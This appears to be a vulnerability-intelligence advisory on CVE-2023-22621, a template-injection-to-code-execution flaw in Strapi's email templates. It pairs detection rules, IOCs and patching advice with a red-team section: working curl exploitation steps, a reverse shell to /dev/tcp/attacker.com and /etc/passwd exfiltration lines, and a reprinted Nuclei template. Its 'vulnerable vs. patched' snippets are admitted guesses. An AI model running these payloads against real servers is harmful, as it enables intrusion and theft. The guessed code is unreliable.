CVE-2023-22621
Executive Summary
CVE-2023-22621 is a critical Server-Side Template Injection (SSTI) vulnerability in Strapi CMS versions up to and including 4.5.5. This flaw allows an authenticated attacker with access to the Strapi admin panel to inject malicious template code into email templates. The injected payload bypasses existing validation checks, leading to arbitrary code execution on the underlying server. The vulnerability has a CVSS score of 7.2 (High) and is actively exploited in the wild, with a public proof-of-concept (PoC) and a Nuclei template available. Successful exploitation can lead to full compromise of the Strapi instance and potentially the entire hosting environment.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
Strapi is an open-source headless CMS distributed via npm. The vulnerability exists in the core strapi package. Organizations using Strapi as a dependency in their Node.js applications are at risk. The supply chain risk is elevated due to the widespread use of Strapi and the ease of exploitation once admin credentials are obtained. Patching to version 4.5.6 or later is critical.
CVSS Breakdown & Threat Level
- CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
- Base Score: 7.2 (High)
- Attack Vector (AV): Network (N) - The vulnerability can be exploited remotely.
- Attack Complexity (AC): Low (L) - No special conditions are required for exploitation.
- Privileges Required (PR): High (H) - The attacker must have valid admin panel credentials.
- User Interaction (UI): None (N) - No user interaction is required.
- Scope (S): Unchanged (U) - The vulnerability does not affect resources beyond the vulnerable component.
- Confidentiality (C): High (H) - Complete disclosure of all data on the system.
- Integrity (I): High (H) - Complete compromise of system integrity.
- Availability (A): High (H) - Total shutdown of the affected resource.
Threat Level: High. The requirement for admin privileges is offset by the low attack complexity and the high impact. The existence of a public PoC and automated scanning tools (Nuclei) significantly increases the threat level.
Deep Dive & Mechanics
The vulnerability resides in the email template rendering functionality within the Strapi admin panel. Strapi uses Lodash templates for email content. The email-templates API endpoint (/users-permissions/email-templates) allows administrators to customize email messages. The application attempts to sanitize user input to prevent code execution, but the sanitization is insufficient.
The core issue is that the template engine evaluates JavaScript expressions embedded within <%= %> tags. An attacker can craft a payload that uses Node.js built-in modules, such as process.binding('spawn_sync'), to execute arbitrary system commands. The validation checks fail to block the use of these dangerous functions.
The exploitation flow is as follows:
- Authentication: The attacker logs into the Strapi admin panel.
- Configuration: The attacker modifies the email template for "email_confirmation" or "reset_password" via a PUT request to
/users-permissions/email-templates. - Injection: The attacker injects a malicious Lodash template string containing a command execution payload.
- Trigger: The attacker triggers the email template by registering a new user (for email confirmation) or requesting a password reset. The server processes the template, executing the injected command.
The Nuclei template provided in the Hacker Arsenal section demonstrates this exact flow, using process.binding('spawn_sync').spawn(...) to execute a command that sends a DNS query to an interactsh server for out-of-band (OOB) detection.
Vulnerable vs. Patched Code
Vulnerable Code (Strapi <= 4.5.5):
The vulnerable code likely resides in the email template rendering function. The application uses Lodash's _.template() function to compile the user-provided template string without adequate sanitization of dangerous Node.js globals.
// Vulnerable pseudo-code
const compiled = _.template(userProvidedTemplate);
const html = compiled({ URL, TOKEN, CODE });
Patched Code (Strapi >= 4.5.6): The patched version introduces a sandbox or a more restrictive template engine that prevents access to Node.js internals. It likely uses a whitelist of allowed template variables and functions, or switches to a safer templating library.
// Patched pseudo-code
const compiled = _.template(userProvidedTemplate, { variable: 'data' });
const html = compiled({ data: { URL, TOKEN, CODE } });
The key difference is the restriction of the template context to only the intended variables, preventing access to process, require, and other global objects.
Exploitation & Lab Setup
Red Team (Offensive)
Prerequisites:
- Access to a Strapi instance (version <= 4.5.5).
- Valid admin credentials (email and password).
- An interactsh server or a listener to receive out-of-band callbacks.
Exploitation Steps:
Authenticate: Obtain a JWT token by logging in.
curl -k -X POST 'https://target.com/admin/login' \ -H 'Content-Type: application/json' \ -d '{"email":"admin@example.com","password":"password123"}'Enable Email Confirmation: Ensure the "email_confirmation" setting is enabled.
curl -k -X PUT 'https://target.com/users-permissions/advanced' \ -H 'Authorization: Bearer <TOKEN>' \ -H 'Content-Type: application/json' \ -d '{"unique_email":true,"allow_register":true,"email_confirmation":true,"email_reset_password":null,"email_confirmation_redirection":"http://example.com","default_role":"authenticated"}'Inject Malicious Template: Replace the email confirmation template with a payload that executes a command. The following payload uses
process.binding('spawn_sync')to execute a reverse shell or exfiltrate data.curl -k -X PUT 'https://target.com/users-permissions/email-templates' \ -H 'Authorization: Bearer <TOKEN>' \ -H 'Content-Type: application/json' \ -d '{ "email-templates": { "email_confirmation": { "display": "Email.template.email_confirmation", "icon": "check-square", "options": { "from": { "name": "Administration Panel", "email": "no-reply@strapi.io" }, "response_email": "", "object": "Account confirmation", "message": "<%= `${ process.binding(\"spawn_sync\").spawn({\"file\":\"/bin/sh\",\"args\":[\"/bin/sh\",\"-c\",\"curl http://attacker.com/$(whoami)\"],\"stdio\":[{\"readable\":1,\"writable\":1,\"type\":\"pipe\"},{\"readable\":1,\"writable\":1,\"type\":\"pipe\"}]}).output }` %>\n\n<p><%= URL %>?confirmation=<%= CODE %></p>\n\n<p>Thanks.</p>" } } } }'Trigger the Template: Register a new user to trigger the email confirmation.
curl -k -X POST 'https://target.com/api/auth/local/register' \ -H 'Content-Type: application/json' \ -d '{"email":"test@test.com","username":"testuser","password":"Test1234!"}'
Alternative Payloads:
- Reverse Shell:
/bin/sh -c 'bash -i >& /dev/tcp/attacker.com/4444 0>&1' - Data Exfiltration:
/bin/sh -c 'cat /etc/passwd | curl -d @- http://attacker.com/'
Blue Team (Defensive)
Detection:
- Monitor for unusual PUT requests to
/users-permissions/email-templateswith suspicious payloads containingprocess.binding,spawn_sync, or other Node.js internals. - Monitor for rapid user registration followed by failed email delivery logs.
- Monitor for outbound connections to unknown IPs or domains from the Strapi server.
Honeypot:
- Deploy a decoy Strapi instance with a fake admin account. Monitor for login attempts and template modification requests.
Lab Setup:
- Deploy a vulnerable Strapi instance using Docker:
docker run -p 1337:1337 strapi/strapi:4.5.5 - Access the admin panel at
http://localhost:1337/adminand create an admin user. - Use the provided Nuclei template or manual curl commands to test the exploit.
Indicators of Compromise (IOCs)
- Network IOCs:
- Outbound connections to attacker-controlled IPs/domains from the Strapi server.
- DNS queries to interactsh or similar OOB testing domains.
- HTTP requests to
/users-permissions/email-templateswith a body containingprocess.bindingorspawn_sync.
- File System IOCs:
- Unexpected files in
/tmpor web-accessible directories. - Modified email template files in the Strapi database (if using file-based storage).
- Unexpected files in
- Log IOCs:
- Strapi audit logs showing modification of email templates by an admin user.
- Application error logs containing
ApplicationErrorafter user registration. - Web server logs showing POST requests to
/api/auth/local/registerfollowed by errors.
Detection Engineering
YARA Rule
rule CVE_2023_22621_Strapi_SSTI {
meta:
description = "Detects Strapi SSTI payloads in HTTP requests or log files"
author = "Valters IT"
date = "2024-01-01"
reference = "CVE-2023-22621"
hash = "490a0046304402200e335762e7990977611326dc1749e4e09a5e635989b271778991f498324d582f0220091052625d3f4aeb625ff83a1020a585b08151d00e313ade794399a5b30a913f"
strings:
$s1 = "process.binding" ascii wide nocase
$s2 = "spawn_sync" ascii wide nocase
$s3 = "child_process" ascii wide nocase
$s4 = "require(" ascii wide nocase
$s5 = "global.process" ascii wide nocase
$s6 = "email-templates" ascii wide nocase
$s7 = "users-permissions" ascii wide nocase
condition:
(any of ($s1, $s2, $s3, $s4, $s5) and any of ($s6, $s7)) or
(all of ($s1, $s2))
}
Sigma Rule
title: Strapi SSTI Exploitation Attempt
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects attempts to exploit CVE-2023-22621 by modifying email templates with malicious payloads.
author: Valters IT
date: 2024-01-01
references:
- https://nvd.nist.gov/vuln/detail/CVE-2023-22621
- https://github.com/strapi/strapi/releases
logsource:
category: webserver
product: nginx
service: http
detection:
selection:
cs-method: 'PUT'
cs-uri-stem:
- '/users-permissions/email-templates'
cs-uri-query: '*'
keywords:
- 'process.binding'
- 'spawn_sync'
- 'child_process'
- 'require('
- 'global.process'
condition: selection and keywords
falsepositives:
- Legitimate admin modifications using safe template variables.
level: high
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2023-22621 Strapi SSTI Exploitation Attempt"; flow:to_server,established; content:"PUT"; http_method; content:"/users-permissions/email-templates"; http_uri; content:"process.binding"; http_client_body; nocase; content:"spawn_sync"; http_client_body; nocase; classtype:attempted-admin; sid:1000001; rev:1;)
Nuclei Template (Provided)
id: CVE-2023-22621
info:
name: Strapi Versions <=4.5.5 - SSTI to Remote Code Execution
author: iamnoooob,rootxharsh,pdresearch
severity: high
description: |
Strapi through 4.5.5 allows authenticated Server-Side Template Injection (SSTI) that can be exploited to execute arbitrary code on the server. A remote attacker with access to the Strapi admin panel can inject a crafted payload that executes code on the server into an email template that bypasses the validation checks that should prevent code execution.
impact: |
Authenticated attackers with admin panel access can inject malicious template code in email templates that bypasses validation checks, executing arbitrary system commands on the Strapi server and potentially compromising the entire CMS platform.
remediation: |
Update Strapi to version 4.5.6 or later that implements proper template validation and prevents code execution in email templates.
reference:
- https://github.com/strapi/strapi/releases
- https://github.com/sofianeelhor/CVE-2023-22621-POC
- https://github.com/strapi/security-patches
- https://github.com/ARPSyndicate/cvemon
- https://nvd.nist.gov/vuln/detail/CVE-2023-22621
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
cvss-score: 7.2
cve-id: CVE-2023-22621
cwe-id: CWE-74
epss-score: 0.9098
epss-percentile: 0.99642
cpe: cpe:2.3:a:strapi:strapi:*:*:*:*:*:*:*:*
metadata:
verified: true
max-request: 4
vendor: strapi
product: strapi
shodan-query: html:"Welcome to your Strapi app"
tags: cve,cve2023,strapi,ssti,rce,intrusive,authenticated,vuln,vkev
flow: http(1) && http(2) && http(3) && http(4)
variables:
email: "{{email}}"
password: "{{password}}"
address: "{{randstr}}@{{rand_base(5)}}.com"
http:
- raw:
- |
POST /admin/login HTTP/1.1
Host: {{Hostname}}
Content-Type: application/json
{"email":"{{email}}","password":"{{password}}"}
matchers:
- type: dsl
dsl:
- 'status_code == 200'
- 'contains_all(body, "token","isActive")'
- 'contains(content_type, "application/json")'
condition: and
internal: true
extractors:
- type: json
part: body
name: token
json:
- ".data.token"
internal: true
- raw:
- |
PUT /users-permissions/advanced HTTP/1.1
Host: {{Hostname}}
Authorization: Bearer {{token}}
Content-Type: application/json
{"unique_email":true,"allow_register":true,"email_confirmation":true,"email_reset_password":null,"email_confirmation_redirection":"{{RootURL}}","default_role":"authenticated"}
matchers:
- type: dsl
dsl:
- 'status_code == 200'
- 'contains_all(body, "ok","true")'
- 'contains(content_type, "application/json")'
condition: and
internal: true
- raw:
- |
PUT /users-permissions/email-templates HTTP/1.1
Host: {{Hostname}}
Authorization: Bearer {{token}}
Content-Type: application/json
{
"email-templates": {
"reset_password": {
"display": "Email.template.reset_password",
"icon": "sync",
"options": {
"from": {
"name": "Administration Panel",
"email": "no-reply@strapi.io"
},
"response_email": "",
"object": "Reset password",
"message": "<p>We heard that you lost your password. Sorry about that!</p>\n\n<p>But dont worry! You can use the following link to reset your password:</p>\n<p><%= URL %>?code=<%= TOKEN %></p>\n\n<p>Thanks.</p>"
}
},
"email_confirmation": {
"display": "Email.template.email_confirmation",
"icon": "check-square",
"options": {
"from": {
"name": "Administration Panel",
"email": "no-reply@strapi.io"
},
"response_email": "",
"object": "Account confirmation",
"message": "<%= `${ process.binding('spawn_sync').spawn({\"file\":\"/bin/sh\",\"args\":[\"/bin/sh\",\"-c\",\"curl {{interactsh-url}}\"],\"stdio\":[{\"readable\":1,\"writable\":1,\"type\":\"pipe\"},{\"readable\":1,\"writable\":1,\"type\":\"pipe\"/*<>%=*/}]}).output }` %>\n\n<p><%= URL %>?confirmation=<%= CODE %></p>\n\n<p>Thanks.</p>"
}
}
}
}
matchers:
- type: dsl
dsl:
- 'status_code == 200'
- 'contains_all(body, "ok","true")'
- 'contains(content_type, "application/json")'
condition: and
internal: true
- raw:
- |
POST /api/auth/local/register HTTP/1.1
Host: {{Hostname}}
Content-Type: application/json
{
"email": "{{address}}",
"username": "{{randstr_1}}",
"password": "{{randstr_2}}"
}
matchers-condition: and
matchers:
- type: word
part: interactsh_protocol
words:
- "dns"
- type: word
part: body
words:
- "ApplicationError"
- type: word
part: content_type
words:
- application/json
Remediation & Mitigation
Immediate Actions:
- Patch: Upgrade Strapi to version 4.5.6 or later immediately.
npm install strapi@4.5.6 - Verify: After patching, verify the version and test email template functionality.
- Audit: Review admin accounts and audit logs for any signs of prior exploitation.
Long-Term Mitigations:
- Principle of Least Privilege: Restrict admin panel access to only essential personnel.
- Web Application Firewall (WAF): Deploy WAF rules to block requests containing
process.bindingorspawn_syncin the request body. - Input Validation: Implement strict input validation and sanitization for all user-supplied template content.
- Monitoring: Enable detailed logging for all admin panel actions, especially modifications to email templates.
- Network Segmentation: Isolate the Strapi server from critical internal networks.
Workarounds (if patching is not immediately possible):
- Disable the user registration feature to prevent triggering the email confirmation template.
- Remove or restrict access to the
/users-permissions/email-templatesendpoint via reverse proxy rules. - Manually review and harden the email template rendering code to use a sandboxed template engine.
Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert
{/* [Security Hash: 619C0193B910B47D2FF3A3A0] */}
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.